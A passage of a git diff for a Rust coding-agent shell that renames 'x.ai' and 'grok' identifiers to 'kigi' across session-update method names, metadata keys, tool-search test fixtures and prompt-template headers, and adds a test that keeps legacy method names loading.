-            r#"{{"timestamp":1,"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{session_update_json}}}}}"#
+            r#"{{"timestamp":1,"method":"_kigi/session/update","params":{{"sessionId":"s","update":{session_update_json}}}}}"#
         )
     }
 
@@ -2479,7 +2493,7 @@ mod tests {
             r#"{"eventId":"ev1"}"#,
         );
         // xAI-style line persisted by an older binary: no _meta at all.
-        let old_xai = r#"{"timestamp":2,"method":"_x.ai/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"hook_annotation","message":"trailing"}}}"#;
+        let old_xai = r#"{"timestamp":2,"method":"_kigi/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"hook_annotation","message":"trailing"}}}"#;
         let raw = format!("{a1}\n{old_xai}\n");
 
         let prepared = prepare_replay_lines(&raw, Some("ev1"));
@@ -2490,7 +2504,7 @@ mod tests {
         assert_eq!(prepared.lines.len(), 2, "full history is replayed");
 
         // Same history with the trailing line stamped resolves incrementally.
-        let new_xai = r#"{"timestamp":2,"method":"_x.ai/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"hook_annotation","message":"trailing"},"_meta":{"eventId":"ev2"}}}"#;
+        let new_xai = r#"{"timestamp":2,"method":"_kigi/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"hook_annotation","message":"trailing"},"_meta":{"eventId":"ev2"}}}"#;
         let raw = format!("{a1}\n{new_xai}\n");
         let prepared = prepare_replay_lines(&raw, Some("ev1"));
         assert!(!prepared.mark_replay);
@@ -2961,12 +2975,12 @@ mod tests {
     fn prepare_replay_reports_spawn_without_finish() {
         let spawn = |id: &str, child: &str| {
             format!(
-                r#"{{"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"subagent_spawned","subagent_id":"{id}","parent_session_id":"s","child_session_id":"{child}","subagent_type":"general-purpose","description":"task"}},"_meta":{{"eventId":"s-1"}}}}}}"#
+                r#"{{"method":"_kigi/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"subagent_spawned","subagent_id":"{id}","parent_session_id":"s","child_session_id":"{child}","subagent_type":"general-purpose","description":"task"}},"_meta":{{"eventId":"s-1"}}}}}}"#
             )
         };
         let finish = |id: &str| {
             format!(
-                r#"{{"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"subagent_finished","subagent_id":"{id}","child_session_id":"c{id}","status":"completed","tool_calls":0,"turns":0,"duration_ms":0}},"_meta":{{"eventId":"s-2"}}}}}}"#
+                r#"{{"method":"_kigi/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"subagent_finished","subagent_id":"{id}","child_session_id":"c{id}","status":"completed","tool_calls":0,"turns":0,"duration_ms":0}},"_meta":{{"eventId":"s-2"}}}}}}"#
             )
         };
         // `a` spawns and finishes (paired); `b` only spawns (orphan).
@@ -3139,4 +3153,38 @@ mod tests {
             SessionUpdate::Acp(_) => panic!("expected Xai variant"),
         }
     }
+
+    /// Session files written before the `kigi/` extension-method rename carry
+    /// the legacy `_…/session/update` method name. The read-side alias must
+    /// keep those lines loading as extension updates; the write side always
+    /// emits the current [`XAI_SESSION_UPDATE_METHOD`].
+    #[test]
+    fn from_str_accepts_legacy_pre_rebrand_method_name() {
+        let line = format!(
+            r#"{{"timestamp":1,"method":"{LEGACY_XAI_SESSION_UPDATE_METHOD}","params":{{"sessionId":"s","update":{{"sessionUpdate":"memory_flush_started"}}}}}}"#
+        );
+        let update = SessionUpdateEnvelope::from_str(&line).unwrap();
+        match &update {
+            SessionUpdate::Xai(notif) => {
+                assert_eq!(
+                    notif.update,
+                    crate::extensions::notification::SessionUpdate::MemoryFlushStarted
+                );
+            }
+            SessionUpdate::Acp(_) => panic!("expected Xai variant for legacy method name"),
+        }
+
+        // Both spellings classify as the extension rail; an unrelated method
+        // does not.
+        assert!(is_ext_session_update_method(XAI_SESSION_UPDATE_METHOD));
+        assert!(is_ext_session_update_method(
+            LEGACY_XAI_SESSION_UPDATE_METHOD
+        ));
+        assert!(!is_ext_session_update_method("session/update"));
+
+        // Write side: envelopes produced today carry the current name only.
+        let reserialized = serde_json::to_string(&update).unwrap();
+        assert!(reserialized.contains(XAI_SESSION_UPDATE_METHOD));
+        assert!(!reserialized.contains(LEGACY_XAI_SESSION_UPDATE_METHOD));
+    }
 }
diff --git a/crates/codegen/kigi-shell/src/session/storage/search.rs b/crates/codegen/kigi-shell/src/session/storage/search.rs
index 5e39b99..f09c348 100644
--- a/crates/codegen/kigi-shell/src/session/storage/search.rs
+++ b/crates/codegen/kigi-shell/src/session/storage/search.rs
@@ -8,7 +8,7 @@
 //! The index is bootstrapped (all sessions indexed) on first search.
 //! After that, individual sessions are re-indexed on save/title update
 //! via `notify_session_updated()`. Because the SQLite DB is shared with
-//! other concurrently running grok processes (which may wipe or downgrade
+//! other concurrently running kigi processes (which may wipe or downgrade
 //! it — older binaries drop-and-restamp the schema on open), every
 //! subsequent search re-verifies the on-disk completed-bootstrap marker
 //! and re-runs the full bootstrap when it is missing.
@@ -27,7 +27,7 @@ use super::search_fts::{SessionDoc, SessionSearchIndex, SessionSearchRow};
 use super::search_remote_sync;
 use super::{
     ContentPeek, PromptExtractEvent, RawLinePeek, RawParamsPeek, StorageAdapter,
-    XAI_SESSION_UPDATE_METHOD, collect_prompts_from_events,
+    collect_prompts_from_events, is_ext_session_update_method,
 };
 use crate::session::info::Info;
 use crate::session::persistence::Summary;
@@ -133,7 +133,7 @@ struct SearchManagerState {
 ///
 /// Requires an active tokio runtime on first access (spawns tasks).
 ///
-/// TODO: When multiple grok processes run concurrently, they each have
+/// TODO: When multiple kigi processes run concurrently, they each have
 /// their own `SearchIndexManager` writing to the same SQLite database.
 /// WAL mode prevents corruption, but redundant work is done. Consider
 /// adding reindex claim coordination (like the memory system's
@@ -921,7 +921,7 @@ fn collect_all_indexable_content_single_pass(updates_path: &Path) -> io::Result<
         let (raw_params, is_xai) = if let Ok(env) = serde_json::from_str::<RawLinePeek<'_>>(trimmed)
         {
             let raw = env.params.map(|p| p.get()).unwrap_or(trimmed);
-            let xai = env.method == Some(XAI_SESSION_UPDATE_METHOD);
+            let xai = env.method.is_some_and(is_ext_session_update_method);
             (raw, xai)
         } else {
             (trimmed, false)
@@ -938,7 +938,7 @@ fn collect_all_indexable_content_single_pass(updates_path: &Path) -> io::Result<
         // Content events (user messages, assistant responses, tool calls,
         // thoughts) come from the standard ACP protocol ("session/update").
         // Control events (rewind markers) come from xAI extensions
-        // ("_x.ai/session/update"). Dispatch on source first, then tag.
+        // ("_kigi/session/update"). Dispatch on source first, then tag.
         if !is_xai {
             // ── ACP content events ──────────────────────────────────
             match tag {
@@ -1176,7 +1176,7 @@ fn collect_delta_content(updates_path: &Path, offset: u64) -> io::Result<DeltaRe
         let (raw_params, is_xai) = if let Ok(env) = serde_json::from_str::<RawLinePeek<'_>>(trimmed)
         {
             let raw = env.params.map(|p| p.get()).unwrap_or(trimmed);
-            let xai = env.method == Some(XAI_SESSION_UPDATE_METHOD);
+            let xai = env.method.is_some_and(is_ext_session_update_method);
             (raw, xai)
         } else {
             (trimmed, false)
@@ -1389,7 +1389,7 @@ mod tests {
 
     fn xai_update(session_update_json: &str) -> String {
         format!(
-            r#"{{"timestamp":1,"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{session_update_json}}}}}"#
+            r#"{{"timestamp":1,"method":"_kigi/session/update","params":{{"sessionId":"s","update":{session_update_json}}}}}"#
         )
     }
 
diff --git a/crates/codegen/kigi-shell/src/session/storage/search_fts.rs b/crates/codegen/kigi-shell/src/session/storage/search_fts.rs
index 78f21ee..bc9e4e8 100644
--- a/crates/codegen/kigi-shell/src/session/storage/search_fts.rs
+++ b/crates/codegen/kigi-shell/src/session/storage/search_fts.rs
@@ -111,7 +111,7 @@ impl SessionSearchIndex {
             .unwrap_or(None);
 
         // One-way ratchet: drop only on UPGRADE (stored < current). Multiple
-        // grok generations share this DB (stable vs alpha); an equality check
+        // kigi generations share this DB (stable vs alpha); an equality check
         // made each binary wipe the other's index in a ping-pong that left
         // search empty mid-rebootstrap. A newer index is safe to read: bumps
         // regenerate content only (table schema is column-identical), and the
@@ -709,7 +709,7 @@ mod tests {
             index
                 .upsert_doc(&test_doc("s1", "Rust debugging", "borrow checker"))
                 .unwrap();
-            // Simulate an index owned by a newer grok generation that has
+            // Simulate an index owned by a newer kigi generation that has
             // completed a bootstrap.
             index
                 .set_meta("session_search_schema_version", "5")
diff --git a/crates/codegen/kigi-shell/src/session/summary.rs b/crates/codegen/kigi-shell/src/session/summary.rs
index 543a09a..910a5b4 100644
--- a/crates/codegen/kigi-shell/src/session/summary.rs
+++ b/crates/codegen/kigi-shell/src/session/summary.rs
@@ -117,7 +117,7 @@ pub(crate) fn notify_client(gateway: &Option<GatewaySender>, info: &Info, title:
     };
     if let Ok(params) = serde_json::value::to_raw_value(&notification) {
         gateway.forward_fire_and_forget(acp::ExtNotification::new(
-            "x.ai/session_notification",
+            "kigi/session_notification",
             params.into(),
         ));
     }
diff --git a/crates/codegen/kigi-shell/src/session/templates/goal_planner_prompt.md b/crates/codegen/kigi-shell/src/session/templates/goal_planner_prompt.md
index 5bfa1c4..5723f90 100644
--- a/crates/codegen/kigi-shell/src/session/templates/goal_planner_prompt.md
+++ b/crates/codegen/kigi-shell/src/session/templates/goal_planner_prompt.md
@@ -1,4 +1,4 @@
-You are the Goal Plan Writer for the xAI Grok Build harness. You run ONCE
+You are the Goal Plan Writer for the Kigi harness. You run ONCE
 at goal creation. Convert the objective into a structured plan that the
 implementer, the adversarial verifiers, and the classifier use as the single
 source of truth for "what was supposed to happen". The user never sees it —
diff --git a/crates/codegen/kigi-shell/src/session/templates/goal_strategist_prompt.md b/crates/codegen/kigi-shell/src/session/templates/goal_strategist_prompt.md
index 05c28d9..96e3e96 100644
--- a/crates/codegen/kigi-shell/src/session/templates/goal_strategist_prompt.md
+++ b/crates/codegen/kigi-shell/src/session/templates/goal_strategist_prompt.md
@@ -1,4 +1,4 @@
-You are the Goal Strategist for the xAI Grok Build harness. You run after the
+You are the Goal Strategist for the Kigi harness. You run after the
 implementer has failed verification several rounds in a row — flagging a
 different gap each round (whack-a-mole) and not converging. Diagnose WHY it is
 stuck and recommend ONE concrete STRUCTURAL change. The implementer sees only a
diff --git a/crates/codegen/kigi-shell/src/session/templates/goal_summarizer_prompt.md b/crates/codegen/kigi-shell/src/session/templates/goal_summarizer_prompt.md
index 6f1a70c..287f19c 100644
--- a/crates/codegen/kigi-shell/src/session/templates/goal_summarizer_prompt.md
+++ b/crates/codegen/kigi-shell/src/session/templates/goal_summarizer_prompt.md
@@ -1,4 +1,4 @@
-You are the Goal Summarizer for the xAI Grok Build harness. The goal has just
+You are the Goal Summarizer for the Kigi harness. The goal has just
 been VERIFIED as achieved. Write the single CLOSING message the user reads: a
 VERY concise recap of WHAT was delivered and HOW to use it.
 
diff --git a/crates/codegen/kigi-shell/src/session/templates/goal_verifier_prompt.md b/crates/codegen/kigi-shell/src/session/templates/goal_verifier_prompt.md
index be4f2a7..4e49aa4 100644
--- a/crates/codegen/kigi-shell/src/session/templates/goal_verifier_prompt.md
+++ b/crates/codegen/kigi-shell/src/session/templates/goal_verifier_prompt.md
@@ -1,4 +1,4 @@
-You are an **adversarial verifier** for the xAI Grok Build harness. You are
+You are an **adversarial verifier** for the Kigi harness. You are
 NOT the agent that produced the work below. Your job is to **refute** that the
 objective has been met. **Default to `refuted: true` if uncertain** — a
 false-positive (passing broken work) ends the loop wrongly and is far worse
diff --git a/crates/codegen/kigi-shell/src/session/tool_index.rs b/crates/codegen/kigi-shell/src/session/tool_index.rs
index 0da9374..c149ff4 100644
--- a/crates/codegen/kigi-shell/src/session/tool_index.rs
+++ b/crates/codegen/kigi-shell/src/session/tool_index.rs
@@ -473,16 +473,16 @@ mod tests {
     fn search_underscore_joined_identifier_components() {
         let tools = vec![
             ToolMetadata {
-                qualified_name: "grok_com_chronosphere__query_prometheus_range".into(),
-                server_name: "grok_com_chronosphere".into(),
+                qualified_name: "kigi_com_chronosphere__query_prometheus_range".into(),
+                server_name: "kigi_com_chronosphere".into(),
                 tool_name: "query_prometheus_range".into(),
                 description: "Run a range query".into(),
                 parameters: vec!["start".into(), "end".into()],
                 input_schema: serde_json::json!({}),
             },
             ToolMetadata {
-                qualified_name: "grok_com_chronosphere__list_metrics".into(),
-                server_name: "grok_com_chronosphere".into(),
+                qualified_name: "kigi_com_chronosphere__list_metrics".into(),
+                server_name: "kigi_com_chronosphere".into(),
                 tool_name: "list_metrics".into(),
                 description: "List available metrics".into(),
                 parameters: vec![],
@@ -501,14 +501,14 @@ mod tests {
         let snap = index.search_snapshot("chronosphere", 5);
         assert_eq!(snap.results.len(), 2);
         let names: Vec<&str> = snap.results.iter().map(|r| r.tool_name.as_str()).collect();
-        assert!(names.contains(&"grok_com_chronosphere__query_prometheus_range"));
-        assert!(names.contains(&"grok_com_chronosphere__list_metrics"));
+        assert!(names.contains(&"kigi_com_chronosphere__query_prometheus_range"));
+        assert!(names.contains(&"kigi_com_chronosphere__list_metrics"));
 
         let snap_exact = index.search_snapshot("query_prometheus_range", 3);
         assert_eq!(snap_exact.results.len(), 1);
         assert_eq!(
             snap_exact.results[0].tool_name,
-            "grok_com_chronosphere__query_prometheus_range"
+            "kigi_com_chronosphere__query_prometheus_range"
         );
     }
 
@@ -1185,8 +1185,8 @@ mod tests {
     #[test]
     fn split_mixed_formats() {
         assert_eq!(
-            split_identifier("grok_com_slack__slack_send_message"),
-            vec!["grok", "com", "slack", "slack", "send", "message"]
+            split_identifier("kigi_com_slack__slack_send_message"),
+            vec!["kigi", "com", "slack", "slack", "send", "message"]
         );
     }
 
@@ -1265,7 +1265,7 @@ mod tests {
     //
     //   Server formats:  simple        ("linear")
     //                    kebab-case    ("grafana-ai")
-    //                    snake_case    ("grok_com_slack")
+    //                    snake_case    ("kigi_com_slack")
     //
     //   Tool formats:    snake_case    ("save_issue")
     //                    PascalCase    ("SearchDashboards")
@@ -1306,8 +1306,8 @@ mod tests {
             },
             // snake_case server + snake_case tool
             ToolMetadata {
-                qualified_name: "grok_com_slack__slack_send_message".into(),
-                server_name: "grok_com_slack".into(),
+                qualified_name: "kigi_com_slack__slack_send_message".into(),
+                server_name: "kigi_com_slack".into(),
                 tool_name: "slack_send_message".into(),
                 description: "Send a message in a Slack channel".into(),
                 parameters: vec!["channel_id".into(), "text".into()],
@@ -1315,8 +1315,8 @@ mod tests {
             },
             // snake_case server + PascalCase tool
             ToolMetadata {
-                qualified_name: "grok_com_chronosphere__QueryPrometheusRange".into(),
-                server_name: "grok_com_chronosphere".into(),
+                qualified_name: "kigi_com_chronosphere__QueryPrometheusRange".into(),
+                server_name: "kigi_com_chronosphere".into(),
                 tool_name: "QueryPrometheusRange".into(),
                 description: "Run a Prometheus range query".into(),
                 parameters: vec!["query".into(), "start".into(), "end".into()],
@@ -1394,11 +1394,11 @@ mod tests {
     fn fmt_exact_snake_server_snake_tool() {
         // snake_case__snake_case
         let index = Bm25ToolSearchIndex::new(make_snapshot(mcp_format_tools()));
-        let snap = index.search_snapshot("grok_com_slack__slack_send_message", 5);
+        let snap = index.search_snapshot("kigi_com_slack__slack_send_message", 5);
         assert_eq!(snap.results.len(), 1);
         assert_eq!(
             snap.results[0].tool_name,
-            "grok_com_slack__slack_send_message"
+            "kigi_com_slack__slack_send_message"
         );
     }
 
@@ -1406,11 +1406,11 @@ mod tests {
     fn fmt_exact_snake_server_pascal_tool() {
         // snake_case__PascalCase
         let index = Bm25ToolSearchIndex::new(make_snapshot(mcp_format_tools()));
-        let snap = index.search_snapshot("grok_com_chronosphere__QueryPrometheusRange", 5);
+        let snap = index.search_snapshot("kigi_com_chronosphere__QueryPrometheusRange", 5);
         assert_eq!(snap.results.len(), 1);
         assert_eq!(
             snap.results[0].tool_name,
-            "grok_com_chronosphere__QueryPrometheusRange"
+            "kigi_com_chronosphere__QueryPrometheusRange"
         );
     }
 
@@ -1505,11 +1505,11 @@ mod tests {
     #[test]
     fn fmt_case_insensitive_qualified_snake_snake() {
         let index = Bm25ToolSearchIndex::new(make_snapshot(mcp_format_tools()));
-        let snap = index.search_snapshot("GROK_COM_SLACK__SLACK_SEND_MESSAGE", 5);
+        let snap = index.search_snapshot("KIGI_COM_SLACK__SLACK_SEND_MESSAGE", 5);
         assert_eq!(snap.results.len(), 1);
         assert_eq!(
             snap.results[0].tool_name,
-            "grok_com_slack__slack_send_message"
+            "kigi_com_slack__slack_send_message"
         );
     }
 
@@ -1571,10 +1571,10 @@ mod tests {
     #[test]
     fn fmt_snake_server_only_falls_through() {
         let index = Bm25ToolSearchIndex::new(make_snapshot(mcp_format_tools()));
-        let snap = index.search_snapshot("grok_com_slack", 5);
+        let snap = index.search_snapshot("kigi_com_slack", 5);
         for r in &snap.results {
             assert_ne!(
-                r.tool_name, "grok_com_slack",
+                r.tool_name, "kigi_com_slack",
                 "should not match a bare server name as a tool"
             );
         }
@@ -1625,122 +1625,122 @@ mod tests {
         };
 
         vec![
-            // ── grok_com_slack (17 tools) ───────────────────────────
+            // ── kigi_com_slack (17 tools) ───────────────────────────
             tool(
-                "grok_com_slack__slack_create_canvas",
-                "grok_com_slack",
+                "kigi_com_slack__slack_create_canvas",
+                "kigi_com_slack",
                 "slack_create_canvas",
                 "Create a new Slack canvas in a channel",
                 &["channel_id", "content"],
             ),
             tool(
-                "grok_com_slack__slack_get_reactions",
-                "grok_com_slack",
+                "kigi_com_slack__slack_get_reactions",
+                "kigi_com_slack",
                 "slack_get_reactions",
                 "Retrieves all reactions (emoji) on a specific Slack message",
                 &["channel_id", "message_ts"],
             ),
             tool(
-                "grok_com_slack__slack_list_channel_members",
-                "grok_com_slack",
+                "kigi_com_slack__slack_list_channel_members",
+                "kigi_com_slack",
                 "slack_list_channel_members",
                 "List members of a Slack channel",
                 &["channel_id"],
             ),
             tool(
-                "grok_com_slack__slack_read_canvas",
-                "grok_com_slack",
+                "kigi_com_slack__slack_read_canvas",
+                "kigi_com_slack",
                 "slack_read_canvas",
                 "Read a Slack canvas by ID",
                 &["canvas_id"],
             ),
             tool(
-                "grok_com_slack__slack_read_channel",
-                "grok_com_slack",
+                "kigi_com_slack__slack_read_channel",
+                "kigi_com_slack",
                 "slack_read_channel",
                 "Reads messages from a Slack channel in reverse chronological order",
                 &["channel_id", "limit"],
             ),
             tool(
-                "grok_com_slack__slack_read_file",
-                "grok_com_slack",
+                "kigi_com_slack__slack_read_file",
+                "kigi_com_slack",
                 "slack_read_file",
                 "Reads a Slack file's content by file ID",
                 &["file_id"],
             ),
             tool(
-                "grok_com_slack__slack_read_thread",
-                "grok_com_slack",
+                "kigi_com_slack__slack_read_thread",
+                "kigi_com_slack",
                 "slack_read_thread",
                 "Reads messages from a specific Slack thread (parent message + all replies)",
                 &["channel_id", "message_ts"],
             ),
             tool(
-                "grok_com_slack__slack_read_user_profile",
-                "grok_com_slack",
+                "kigi_com_slack__slack_read_user_profile",
+                "kigi_com_slack",
                 "slack_read_user_profile",
                 "Read a Slack user's profile information",
                 &["user_id"],
             ),
             tool(
-                "grok_com_slack__slack_schedule_message",
-                "grok_com_slack",
+                "kigi_com_slack__slack_schedule_message",
+                "kigi_com_slack",
                 "slack_schedule_message",
                 "Schedule a message to be sent at a specific time",
                 &["channel_id", "text", "post_at"],
             ),
             tool(
-                "grok_com_slack__slack_search_channels",
-                "grok_com_slack",
+                "kigi_com_slack__slack_search_channels",
+                "kigi_com_slack",
                 "slack_search_channels",
                 "Search for Slack channels by name or topic",
                 &["query"],
             ),
             tool(
-                "grok_com_slack__slack_search_emojis",
-                "grok_com_slack",
+                "kigi_com_slack__slack_search_emojis",
+                "kigi_com_slack",
                 "slack_search_emojis",
                 "Search for custom emoji in the Slack workspace",
                 &["query"],
             ),
             tool(
-                "grok_com_slack__slack_search_public",
-                "grok_com_slack",
+                "kigi_com_slack__slack_search_public",
+                "kigi_com_slack",
                 "slack_search_public",
                 "Searches for messages and files in public Slack channels only",
                 &["query", "sort", "sort_dir"],
             ),
             tool(
-                "grok_com_slack__slack_search_public_and_private",
-                "grok_com_slack",
+                "kigi_com_slack__slack_search_public_and_private",
+                "kigi_com_slack",
                 "slack_search_public_and_private",
                 "Searches for messages and files in both public and private Slack channels",
                 &["query", "sort", "sort_dir"],
             ),
             tool(
-                "grok_com_slack__slack_search_users",
-                "grok_com_slack",
+                "kigi_com_slack__slack_search_users",
+                "kigi_com_slack",
                 "slack_search_users",
                 "Search for users in the Slack workspace by name or email",
                 &["query"],
             ),
             tool(
-                "grok_com_slack__slack_send_message",
-                "grok_com_slack",
+                "kigi_com_slack__slack_send_message",
+                "kigi_com_slack",
                 "slack_send_message",
                 "Send a message in a Slack channel or thread",
                 &["channel_id", "text", "thread_ts"],
             ),
             tool(
-                "grok_com_slack__slack_send_message_draft",
-                "grok_com_slack",
+                "kigi_com_slack__slack_send_message_draft",
+                "kigi_com_slack",
                 "slack_send_message_draft",
                 "Create a draft message for user review before sending",
                 &["channel_id", "text"],
             ),
             tool(
-                "grok_com_slack__slack_update_canvas",
-                "grok_com_slack",
+                "kigi_com_slack__slack_update_canvas",
+                "kigi_com_slack",
                 "slack_update_canvas",
                 "Update the content of an existing Slack canvas",
                 &["canvas_id", "content"],
@@ -2037,11 +2037,11 @@ mod tests {
     #[test]
     fn haystack_exact_qualified_name() {
         let index = Bm25ToolSearchIndex::new(make_snapshot(production_haystack()));
-        let snap = index.search_snapshot("grok_com_slack__slack_search_public", 5);
+        let snap = index.search_snapshot("kigi_com_slack__slack_search_public", 5);
         assert_eq!(snap.results.len(), 1);
         assert_eq!(
             snap.results[0].tool_name,
-            "grok_com_slack__slack_search_public"
+            "kigi_com_slack__slack_search_public"
         );
     }
 
@@ -2052,7 +2052,7 @@ mod tests {
         assert_eq!(snap.results.len(), 1);
         assert_eq!(
             snap.results[0].tool_name,
-            "grok_com_slack__slack_search_public"
+            "kigi_com_slack__slack_search_public"
         );
     }
 
@@ -2081,7 +2081,7 @@ mod tests {
         let snap = index.search_snapshot("search public slack messages", 5);
         assert_top_n(
             &snap,
-            "grok_com_slack__slack_search_public",
+            "kigi_com_slack__slack_search_public",
             3,
             "search public slack messages",
         );
@@ -2093,7 +2093,7 @@ mod tests {
         let snap = index.search_snapshot("send a message in slack", 5);
         assert_top_n(
             &snap,
-            "grok_com_slack__slack_send_message",
+            "kigi_com_slack__slack_send_message",
             3,
             "send a message in slack",
         );
@@ -2105,7 +2105,7 @@ mod tests {
         let snap = index.search_snapshot("read thread replies slack", 5);
         assert_top_n(
             &snap,
-            "grok_com_slack__slack_read_thread",
+            "kigi_com_slack__slack_read_thread",
             3,
             "read thread replies slack",
         );
@@ -2195,10 +2195,10 @@ mod tests {
         let names: Vec<&str> = snap.results.iter().map(|r| r.tool_name.as_str()).collect();
         let pub_pos = names
             .iter()
-            .position(|n| *n == "grok_com_slack__slack_search_public");
+            .position(|n| *n == "kigi_com_slack__slack_search_public");
         let priv_pos = names
             .iter()
-            .position(|n| *n == "grok_com_slack__slack_search_public_and_private");
+            .position(|n| *n == "kigi_com_slack__slack_search_public_and_private");
         assert!(
             pub_pos.is_some(),
             "slack_search_public should appear for 'search public channels only', got {names:?}"
@@ -2259,7 +2259,7 @@ mod tests {
         let snap = index.search_snapshot("search_public", 5);
         assert_top_n(
             &snap,
-            "grok_com_slack__slack_search_public",
+            "kigi_com_slack__slack_search_public",
             3,
             "search_public",
         );
@@ -2286,7 +2286,7 @@ mod tests {
         let snap = index.search_snapshot("slack__slack_read_thread", 5);
         assert_top_n(
             &snap,
-            "grok_com_slack__slack_read_thread",
+            "kigi_com_slack__slack_read_thread",
             3,
             "slack__slack_read_thread",
         );
@@ -2300,7 +2300,7 @@ mod tests {
         // Exact match on bare tool name catches this
         assert_eq!(
             snap.results[0].tool_name,
-            "grok_com_slack__slack_send_message"
+            "kigi_com_slack__slack_send_message"
         );
     }
 
@@ -2436,12 +2436,12 @@ mod tests {
                 "grafana-ai__SearchDashboards",
             ),
             // partial snake_case — "search_public" adds "search public"
-            ("search_public", "grok_com_slack__slack_search_public"),
+            ("search_public", "kigi_com_slack__slack_search_public"),
             // wrong server prefix — "slack__slack_read_thread" adds
             // "slack slack read thread"
             (
                 "slack__slack_read_thread",
-                "grok_com_slack__slack_read_thread",
+                "kigi_com_slack__slack_read_thread",
             ),
             // kebab query — "notion-create" adds "notion create"
             ("notion-create", "notion__notion-create-pages"),
@@ -2478,7 +2478,7 @@ mod tests {
             ),
             (
                 "slack__slack_read_thread",
-                "grok_com_slack__slack_read_thread",
+                "kigi_com_slack__slack_read_thread",
             ),
             ("notion-create", "notion__notion-create-pages"),
         ];
diff --git a/crates/codegen/kigi-shell/src/session/turn_completion.rs b/crates/codegen/kigi-shell/src/session/turn_completion.rs
index b94d7e0..f15d740 100644
--- a/crates/codegen/kigi-shell/src/session/turn_completion.rs
+++ b/crates/codegen/kigi-shell/src/session/turn_completion.rs
@@ -1,8 +1,8 @@
 //! Pure construction of the durable, replayable turn-completion terminal.
 //!
 //! `TurnCompleted` is the persisted + replayed twin of the fire-and-forget
-//! `x.ai/session/prompt_complete` notification: it rides the
-//! `_x.ai/session/update` rail so a viewer that re-attaches mid-turn finalizes
+//! `kigi/session/prompt_complete` notification: it rides the
+//! `_kigi/session/update` rail so a viewer that re-attaches mid-turn finalizes
 //! the turn from replay instead of stranding on "Waiting…". The
 //! `(stop_reason, agent_result)` pair is the SAME pair `prompt_complete`
 //! carries (from [`crate::sampling::error::prompt_complete_fields`]), so the
diff --git a/crates/codegen/kigi-shell/src/session/two_pass.rs b/crates/codegen/kigi-shell/src/session/two_pass.rs
index 6ef2f7b..41be326 100644
--- a/crates/codegen/kigi-shell/src/session/two_pass.rs
+++ b/crates/codegen/kigi-shell/src/session/two_pass.rs
@@ -357,7 +357,7 @@ mod tests {
     #[test]
     fn pass_histories_shape() {
         let conv = vec![
-            ConversationItem::system("You are Grok."),
+            ConversationItem::system("You are Kigi."),
             ConversationItem::user("early"),
             ConversationItem::assistant("early-a"),
             ConversationItem::user("late"),
@@ -372,7 +372,7 @@ mod tests {
         let pass2 = build_two_pass_pass2_history(split.prefix, split.tail, &note1, prompt);
         assert!(pass2.iter().any(|i| matches!(
             i,
-            ConversationItem::System(s) if s.content.as_ref() == "You are Grok."
+            ConversationItem::System(s) if s.content.as_ref() == "You are Kigi."
         )));
         let texts: Vec<String> = pass2.iter().map(|i| i.text_content()).collect();
         assert!(texts.iter().any(|t| t.contains("<summary_content>")));
diff --git a/crates/codegen/kigi-shell/src/session/unified_list/mod.rs b/crates/codegen/kigi-shell/src/session/unified_list/mod.rs
index 114b462..0499ba2 100644
--- a/crates/codegen/kigi-shell/src/session/unified_list/mod.rs
+++ b/crates/codegen/kigi-shell/src/session/unified_list/mod.rs
@@ -56,7 +56,7 @@ impl ParsedMeta {
             return Self::default();
         };
         let facet_filters = meta
-            .get("x.ai/facetFilters")
+            .get("kigi/facetFilters")
             .and_then(|v| v.as_object())
             .map(|obj| {
                 obj.iter()
@@ -65,11 +65,11 @@ impl ParsedMeta {
             })
             .unwrap_or_default();
         let query = meta
-            .get("x.ai/query")
+            .get("kigi/query")
             .and_then(|v| v.as_str())
             .map(str::to_owned);
         let limit = meta
-            .get("x.ai/limit")
+            .get("kigi/limit")
             .and_then(serde_json::Value::as_u64)
             .map(|n| n as usize);
         Self {
@@ -156,7 +156,7 @@ pub struct ExtListResponse {
 }
 #[derive(Debug, Clone, Serialize)]
 pub struct ExtListResponseMeta {
-    #[serde(rename = "x.ai/facets")]
+    #[serde(rename = "kigi/facets")]
     pub facets: FacetSummary,
 }
 pub fn ext_list_response(result: UnifiedListResult) -> ExtListResponse {
@@ -188,7 +188,7 @@ mod tests {
             cwd: "/Users/me/xai".into(),
             hostname: Some("devbox".into()),
             source: "local".into(),
-            model_id: Some("grok-build".into()),
+            model_id: Some("kigi".into()),
             num_messages: 7,
             last_active_at: Some(updated_at.into()),
             branch: Some("main".into()),
@@ -229,7 +229,7 @@ mod tests {
         assert_eq!(value["source"], "local");
         assert_eq!(value["numMessages"], 7);
         assert_eq!(value["title"], "a summary");
-        assert_eq!(value["_meta"]["x.ai/session"]["kind"], "build");
+        assert_eq!(value["_meta"]["kigi/session"]["kind"], "build");
         assert_eq!(value["gitRootDir"], "/Users/me/xai");
         assert_eq!(value["gitRemotes"][0], "git@github.com:example/repo.git");
         assert_eq!(value["sourceWorkspaceDir"], "/Users/me/xai-src");
@@ -250,7 +250,7 @@ mod tests {
         assert_eq!(value["sessionId"], "s1");
         assert_eq!(value["cwd"], "/Users/me/xai");
         assert_eq!(value["title"], "a summary");
-        assert_eq!(value["_meta"]["x.ai/session"]["kind"], "build");
+        assert_eq!(value["_meta"]["kigi/session"]["kind"], "build");
         assert!(value.get("summary").is_none());
         assert!(value.get("source").is_none());
     }
@@ -307,8 +307,8 @@ mod tests {
     #[test]
     fn parsed_meta_reads_facet_filters_query_and_limit() {
         let meta = serde_json::json!(
-            { "x.ai/facetFilters" : { "kind" : ["build"], "starred" : true },
-            "x.ai/query" : "antelope", "x.ai/limit" : 5, }
+            { "kigi/facetFilters" : { "kind" : ["build"], "starred" : true },
+            "kigi/query" : "antelope", "kigi/limit" : 5, }
         );
         let parsed = ParsedMeta::parse(Some(&meta));
         assert_eq!(parsed.query.as_deref(), Some("antelope"));
diff --git a/crates/codegen/kigi-shell/src/session/unified_list/row.rs b/crates/codegen/kigi-shell/src/session/unified_list/row.rs
index 47fc549..482393d 100644
--- a/crates/codegen/kigi-shell/src/session/unified_list/row.rs
+++ b/crates/codegen/kigi-shell/src/session/unified_list/row.rs
